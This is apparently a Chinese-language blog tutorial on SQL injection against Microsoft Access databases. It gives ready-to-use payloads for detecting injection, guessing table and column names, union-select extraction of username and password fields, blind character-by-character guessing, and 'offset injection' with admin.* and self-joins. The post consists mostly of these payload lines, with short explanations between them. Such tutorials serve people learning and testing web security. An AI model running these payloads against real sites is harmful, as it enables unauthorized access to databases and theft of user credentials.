access数据库一般注入方法及偏移注入

1.access数据库与mysql数据库的差别

access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构

mysql : 库名,表名,列名,字段内容

access:表名,列名,字段内容

2. access注入.

1)判断注入.

and 1=1
and 1=2

2)判断表名,列名

exist()

假如表名为user(也可能为login,admin,admin_user等等)

则查询语句为exist(select * from user)

若返回正常则页面存在,列名同理如

and exist(select username from user)

and exist(select password from user)

3)联合查询查询列名
判断列数 order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from user
and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from user

 4)猜测字段内容

首先猜测字段长度:

and (select top 1 len(username) from admin)>n

若页面正常,则字段长度大于n.

and (select top 1 ascii(substr(username,1,1) from user)>m

若页面显示正常,则字段的第一个字符的ascll码大于m

可使用二分法,burpsuite爆破,dns注入等提高查询速度

3. access偏移注入.

常用于:当我们知道表名无法得知字段名,查询不出字段内容时

order by 13
and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常

假设一个表有8个字段,admin表有3个字段。

联合查询payload:union select 1,2,3,4,5,6,7,8 from admin 

在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错

直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段

然后通过移动admin.*的位置,就可以回显不同的数据

当偏移查询不到时,可以将表给重命名 admin as a  admin as b

获取id一样的字段,amin as a inner join admin as b on a.id=b.id来进行整体查询

13-9=4 4*2=8 13-8=5
and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)

posted @ 2020-09-14 20:12  LY2333  阅读(373)  评论(0编辑  收藏  举报